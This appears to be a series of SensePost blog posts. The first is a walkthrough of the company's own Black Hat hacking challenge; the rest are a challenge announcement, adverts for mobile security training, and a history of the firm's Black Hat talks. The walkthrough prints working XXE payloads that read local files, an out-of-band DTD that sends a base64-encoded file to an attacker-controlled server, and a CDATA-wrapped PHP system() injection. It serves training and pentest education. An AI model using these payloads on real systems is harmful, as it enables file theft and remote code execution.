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Fri, 27 Jun 2014

SensePost Challenge - Winners and Walkthrough

We recently ran our Black Hat challenge where the ultimate prize was a seat on one of our training courses at Black Hat this year. This would allow the winner to attend any one of the following:


The challenge was extremely well received and we received 6 successful entries and numerous other attempts. All the solutions were really awesome and we saw unique attacks, with the first three entrants all solving the challenge in a different way.

Walk-through


As stated, there are multiple ways of solving the challenge, we are just going to outline one way that hopefully provides multiple techniques which can be used in real-world pentests.

Flag 1:


The challenge started with the initial goal of "Read the file /home/spuser/flag1.txt" . When visiting the challenge website there were three initial pages available "index","about" and "login". We had numerous challengers head straight to the login page and attempt SQLi. The other common attack we saw was bruteforce attempts against the login. Both of these were fair attempts, however, the real point of interest should have been the "Feed tester" feature on the index page.


The index page had a feed tester feature, this allowed loading of external XML formatted feeds.
The index page had a feed tester feature, this allowed loading of external XML formatted feeds.


Simply trying out this feature and viewing how it functions. Viewing the feed tester result, we noticed that the contents of the XML formatted RSS feed were echoed and it became clear that this may be vulnerable to XXE. The first step would be to try a simple XML payload such as:




<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<foo>&xxe;</foo>


This would fail with an error message of "Something went wrong". The reason for this was that the application was attempting to parse the XML for valid RSS tags. Thus we need to alter our payload to conform to be a valid RSS feed (We used this as a template).




<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<rss>
<channel>
<title>FreeStuff</title>
<link>http://www.w3schools.com</link>
<description>Free web building tutorials</description>
<item>
<title>RSS Tutorial</title>
<link>http://www.w3schools.com/rss</link>
<description>&xxe;</description>
</item>
<item>
<title>XML Tutorial</title>
<link>http://www.w3schools.com/xml</link>
<description>New XML tutorial on W3Schools</description>
</item>
</channel>
</rss>


And we should see the contents of flag1.txt displayed in our feed:
And we've captured flag1
And we've captured flag1 Now onto flag 2...

Flag 2:


The contents of flag1.txt revealed the "access code" we needed to log into the site. So we went over to the login page and entered an email address as the username and the access code as our password. Viola, we now have access to the "main" page as well. This page revealed some new functionality, namely the ability to update our user details. Unfortunately there was no upload function here, so there goes the easy shell upload. We updated the user account and used Burp to look at the submitted request.


The submitted POST request
The submitted POST request


It looks like we have some more XML being submitted.. Again we tried XXE and found that using "file://" in our payload created an error. There were ways around this, however the returned data would be truncated and we would not be able to see the full contents of flag2.txt... When stuck with XXE and not being able to see the result (or complete result) there is always the chance that we can get the data out via the network. To do this we needed to generate a payload that would allow us to fetch an external DTD and then "submit" the contents of our target file to a server under our control. Our payload on our server looked like this:




<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/home/spuser/flag2.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:8000/?%data;'>">


Note how we had to use the php://filter function to base64 encode our payload. This allowed us to avoid control characters breaking the XML structure and URL format. Finally, the payload submitted to the challenge server simply consisted of:




<?xml version="1.0" ?>
<!DOCTYPE r [<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:8000/ev.xml">
%sp;%param1;]>
<r>&exfil;</r>


We didn't really need to worry about what happens after our "XXE payload" because the xmldecoder had already submitted the contents of file2.txt to our server before the application code started parsing the XML document. When submitting the payload we needed to encode the % and & symbols otherwise these broke the XML decoder.


Our payload was correctly encoded submitted to the profile update function.
Our payload was correctly encoded submitted to the profile update function.


As soon as the XML decoder parsed our malicious payload, we would receive the base64 encoded contents on our server:


The challenge server would send the contents of flag2.txt to our server.
The challenge server would send the contents of flag2.txt to our server.


Now it was a simple matter of decoding the payload and we had the second flag. This was not the only way to get flag 2! It was the most "fun" way of doing it though and used a really handy method. Remember it for your next pentest...

Flag 3 AKA "get your name on the wall of fame":


Flag 2 gave us the access code we needed to unlock the final piece of the challenge. This presented us with the "add a feed" feature. Again, we first tried out the new feature to see what was happening. Our first observation was that nothing happens when we just add the feed. However, things do get interesting when we view our new feed. The new feed is displayed in a freshly generated php page. This should have triggered warning bells, we've got php being generated, how about we inject some php? Looking at the feed creation we again note that the payload consists of some XML being submitted. Now if we wanted to inject a shell, how would we do this without breaking the XML structure? Two options were available to us, one, encoding and two XML trickery. The encoding option was simple, simply encode all the angle brackets of our php payload and then insert it into our XML payload. This worked because php was kind enough to decode the URL encoded elements AFTER the XML decoder had done it's thing. Thus the XML validated successfully and our encoded characters got decoded back into their original form before being inserted into our new php file. The second option was to surround our php code with CDATA tags. The CDATA tags told the XML decoder not to parse the content surrounded by these tags as XML but rather treat it as free text. Simple enough and quicker than manually encoding our payload. Thus our new payload would look as follows:




<feed><name><![CDATA[<?php system('echo etienne >> /home/spuser/wof.txt') ?>]]></name><url>http://google.com/</url></feed>


Now we had a new link created in the feeds list. We could navigate to this new feed and our php code would get executed as the page loaded. And boom, just like that our name should be on the "Wall of Fame". We could easily verify this by using the XXE from flag 1 and fetching /home/spuser/wof.txt instead. Below is the "Wall of Fame" at time of writing:

  • secdefect

  • Ron

  • ftard

  • send9 wuz here

  • @leonjza was here :)

  • harry@nsense was here 1403445693

  • #uushomo@1403472051

  • marquee was here

  • El Gato!El Gato!

  • melih_sarica_ms_isr_com_tr_was_here


Winners!


Congratulations to everyone who finished the challenge! However, there could only be one winner. The winner is Espes, who narrowly beat our two runners up to win a training ticket for any one of our course at Black Hat Vegas 2014.


The two runners up who both can claim one of our awesome 2014 t-shirts:


Vitaly aka @send9


Sash aka @secdefect


Education is the most powerful weapon which you can use to change the world - Mandela
Education is the most powerful weapon which you can use to change the world - Nelson Mandela

Thu, 19 Jun 2014

Hacking Challenge: Drive a tank through it

russia-dashboard-cam-tank-drives-across-road-snow-1359329911C
At SensePost we get to enjoy some challenging assessments and do pretty epic things. Some days it feels like the only thing that could make it better would be driving tanks while doing it. The best hacks normally make their way into our training courses as practical exercises where students get to replicate (and improve on) these hacks. However, we know that there isn't always room for all the epicness and unfortunately not everyone can attend the training. So we put some into a challenge for you. We've taken a few recent hacks and rolled them into one challenge, can you crack it?


Target: http://challenge.sensepost.com/
Starting-point: Read the contents of /home/spuser/flag1.txt
Once you've completed the challenge, email us with a screenshot of your victory and a short overview of how you did it.
The prize: The winner of this challenge will be offered a free seat on any one of the SensePost training courses at Black Hat 2014.


It's almost Black Hat time again and as always SensePost will be presenting numerous Hacking by Numbers training course, which we've rewritten this year. For more information on the training courses on offer at Black Hat this year, check out:


Good luck comrade!

Tue, 20 May 2014

Mobile Training Reloaded - Las Vegas

Get some.

Exploiting next gen apps
With the explosion in mobile device popularity and the applications that go along with these, testing mobile application security has become a key skill in every pentester's arsenal. Last year we launched the Hacking by Numbers: Mobile, course at BlackHat Las Vegas and follow up training at BlackHat WestCoast Trainings. This year we are taking Mobile training to the next level with Hacking by Numbers reloaded, Mobile Bootcamp (https://www.blackhat.com/us-14/training/hacking-by-numbers-reloaded-mobile-bootcamp.html)


The course has undergone the full reloaded treatment, with our trainers pouring new tips, tricks and skills into the course, along with incorporating feedback from previous students.

You said mobile?


The mobile space has numerous platforms, each with their own nuances, that would leave any new pentester dizzy. Fortunately this is where the Mobile bootcamp course excels, offering the perfect blend of introductory and advanced techniques, the training is ideal for anyone looking to start testing mobile applications or the experienced tester who is looking to branch out to new platforms.


The training introduces all the core skills required to test applications across the major mobile platforms, particularly:


  • Android

  • IOS

  • Blackberry

  • Windows Phone 8


Training is built around around demonstration and hands-on practical exploitation, with custom practical exercises derived from real-world application security fails.


For a full break-down of the course structure check-out our BlackHat training page (https://www.blackhat.com/us-14/training/hacking-by-numbers-reloaded-mobile-bootcamp.html)

Who should attend?


The course is relevant for attackers, defenders and developers. Students should have some technical ability in Linux, and understand networking fundamentals, but this is a bootcamp level course. Basic programming knowledge is recommended but not essential.


Your trainers will be Etienne (@kamp_staaldraad) and Jurgens, both crazy about mobile security and have executed numerous killshots on all the major mobile platforms.


- Etienne and Jurgens -


 


 

Fri, 22 Nov 2013

Hacking by Numbers - The mobile edition

West Coast in the house, well actually more like an African visiting Seattle for Blackhat's West Coast Trainings.


We've had a great year delivering the latest course in our amazing Hacking by Numbers training series: Mobile. What's cool about this course, is like the others, we teach a hacking methodology rather than punting a tool or a magic, do it all solutions.


Mobile was created to match the continuous growth in mobile phone usage, with a specific focus on showing you how you would go about testing the mobile platforms and installed applications, to ensure they have been developed in a secure manner. HBN Mobile provides a complete and practical window into the methods used when attacking mobile platforms and presents you with a methodology that can be applied across platforms. This course is structured to cater to penetration testers who are new to the mobile area and who need to understand how to analyze and audit applications on various mobile platforms using a variety of tools.


Some of the material covered in the course includes:


  • Android, iOS, RIM and Windows 8 Platform security

  • Communication protocols

  • Programming languages for mobile development

  • Building your own mobile penetration testing lab

  • Mobile application analysis

  • Static Analysis

  • Authentication and authorization

  • Data validation

  • Session management

  • Transport layer security and information disclosure


The methodology presented is structured to allow testing to be performed on different mobile platforms and is demonstrated using both the Android and iOS platforms. Like all the HBN courses, the mobile edition focuses heavily on demonstration and hands-on practicals.



Blackhat Las Vegas 2013 saw the introduction HBN Mobile with two training sessions being presented. The course was well attended and consisted of students with varying degrees of mobile experience, however, the vast majority were new to Mobile application security and HBN Mobile provided the ideal launch pad for them. The great thing about the HBN series is that it accommodates people from all technical and security backgrounds. This held true with the Mobile edition, where we had reverse engineers, penetration testers, development managers, aerospace engineers and developers just to name a few. The feedback from the course was extremely positive and has been fed back into the course and used to improve it even further. Then we had the chance to give it to students over at 44Con in London and this again gave us a chance to take your feedback and make the course even better.


What's slightly different about this course is that you get to find flaws in common mobile applications available both in the Google Play and Apple App store. In addition, we have devices for you to use, so not everything is done in an emulator. As a result, students on the last course found common security vulnerabilities in numerous well known and popular applications.


On the 11th December in Seattle, I'll be delivering Hacking by Numbers: Mobile edition at Blackhat and I cannot wait to get on that plane. If you want to learn more about how to tear apart mobile apps, this is definitely for you. The regular price goes up on the 5th of December, so take advantage of this now and book your place.



Look forward to seeing you there.

Sat, 1 Jun 2013

Honey, I’m home!! - Hacking Z-Wave & other Black Hat news

You've probably never thought of this, but the home automation market in the US was worth approximately $3.2 billion in 2010 and is expected to exceed $5.5 billion in 2016.


Under the hood, the Zigbee and Z-wave wireless communication protocols are the most common used RF technology in home automation systems. Zigbee is based on an open specification (IEEE 802.15.4) and has been the subject of several academic and practical security researches. Z-wave is a proprietary wireless protocol that works in the Industrial, Scientific and Medical radio band (ISM). It transmits on the 868.42 MHz (Europe) and 908.42MHz (United States) frequencies designed for low-bandwidth data communications in embedded devices such as security sensors, alarms and home automation control panels.


Unlike Zigbee, almost no public security research has been done on the Z-Wave protocol except once during a DefCon 2011 talk when the presenter pointed to the possibility of capturing the AES key exchange ... until now. Our Black Hat USA 2013 talk explores the question of Z-Wave protocol security and show how the Z-Wave protocol can be subjected to attacks.


The talk is being presented by Behrang Fouladi a Principal Security Researcher at SensePost, with some help on the hardware side from our friend Sahand Ghanoun. Behrang is one of our most senior and most respected analysts. He loves poetry, movies with Owen Wilson, snowboarding and long walks on the beach. Wait - no - that's me. Behrang's the guy who lives in London and has a Masters from Royal Holloway. He's also the guy who figured how to clone the SecureID software token.


Amazingly, this is the 11th time we've presented at Black Hat Las Vegas. We try and keep track of our talks and papers at conferences on our research services site, but for your reading convenience, here's a summary of our Black Hat talks over the last decade:



2002: Setiri : Advances in trojan technology (Roelof Temmingh)


Setiri was the first publicized trojan to implement the concept of using a web browser to communicate with its controller and caused a stir when we presented it in 2002. We were also very pleased when it got referenced by in a 2004 book by Ed Skoudis.


2003: Putting the tea back into cyber terrorism (Charl van der Walt, Roelof Temmingh and Haroon Meer)


A paper about targeted, effective, automated attacks that could be used in countrywide cyber terrorism. A worm that targets internal networks was also discussed as an example of such an attack. In some ways, the thinking in this talk eventually lead to the creation of Maltego.


2004: When the tables turn (Charl van der Walt, Roelof Temmingh and Haroon Meer)


This paper presented some of the earliest ideas on offensive strike-back as a network defence methodology, which later found their way into Neil Wyler's 2005 book "Aggressive Network Self-Defence".


2005: Assessment automation (Roelof Temmingh)


Our thinking around pentest automation, and in particular footprinting and link analyses was further expanded upon. Here we also released the first version of our automated footprinting tool - "Bidiblah".


2006: A tail of two proxies (Roelof Temmingh and Haroon Meer)


In this talk we literally did introduce two proxy tools. The first was "Suru', our HTTP MITM proxy and a then-contender to the @stake Web Proxy. Although Suru has long since been bypassed by excellent tools like "Burp Proxy" it introduced a number of exciting new concepts, including trivial fuzzing, token correlation and background directory brute-forcing. Further improvements included timing analysis and indexable directory checks. These were not available in other commercial proxies at the time, hence our need to write our own.


Another pioneering MITM proxy - WebScarab from OWASP - also shifted thinking at the time. It was originally written by Rogan Dawes, our very own pentest team leader.


The second proxy we introduced operated at the TCP layer, leveraging off the very excellent Scappy packet manipulation program. We never took that any further, however.


2007: It's all about timing (Haroon Meer and Marco Slaviero)


This was one of my favourite SensePost talks. It kicked off a series of research projects concentrating on timing-based inference attacks against all kinds of technologies and introduced a weaponized timing-based data exfiltration attack in the form of our Squeeza SQL Injection exploitation tool (you probably have to be South African to get the joke). This was also the first talk in which we Invented Our Own Acronym.


2008: Pushing a camel through the eye of a needle (Haroon Meer, Marco Slaviero & Glenn Wilkinson)


In this talk we expanded on our ideas of using timing as a vector for data extraction in so-called 'hostile' environments. We also introduced our 'reDuh' TCP-over-HTTP tunnelling tool. reDuh is a tool that can be used to create a TCP circuit through validly formed HTTP requests. Essentially this means that if we can upload a JSP/PHP/ASP page onto a compromised server, we can connect to hosts behind that server trivially. We also demonstrated how reDuh could be implemented under OLE right inside a compromised SQL 2005 server, even without 'sa' privileges.


2009: Clobbering the cloud (Haroon Meer, Marco Slaviero and Nicholas Arvanitis)


Yup, we did cloud before cloud was cool. This was a presentation about security in the cloud. Cloud security issues such as privacy, monoculture and vendor lock-in are discussed. The cloud offerings from Amazon, Salesforce and Apple as well as their security were examined. We got an email from Steve "Woz" Wozniak, we quoted Dan Geer and we had a photo of Dino Daizovi. We built an HTTP brute-forcer on Force.com and (best of all) we hacked Apple using an iPhone.


2010: Cache on delivery (Marco Slaviero)


This was a presentation about mining information from memcached. We introduced go-derper.rb, a tool we developed for hacking memcached servers and gave a few examples, including a sexy hack of bps.org. It seemed like people weren't getting our point at first, but later the penny dropped and we've to-date had almost 50,000 hits on the presentation on Slideshare.


2011: Sour pickles (Marco Slaviero)


Python's Pickle module provides a known capability for running arbitrary Python functions and, by extension, permitting remote code execution; however there is no public Pickle exploitation guide and published exploits are simple examples only. In this paper we described the Pickle environment, outline hurdles facing a shellcoder and provide guidelines for writing Pickle shellcode. A brief survey of public Python code was undertaken to establish the prevalence of the vulnerability, and a shellcode generator and Pickle mangler were written. Output from the paper included helpful guidelines and templates for shellcode writing, tools for Pickle hacking and a shellcode library.We also wrote a very fancy paper about it all...


We never presented at Black Hat USA in 2012, although we did do some very cool work in that year.


For this year's show we'll back on the podium with Behrang's talk, as well an entire suite of excellent training courses. To meet the likes of Behrang and the rest of our team please consider one of our courses. We need all the support we can get and we're pretty convinced you won't be disappointed.


See you in Vegas!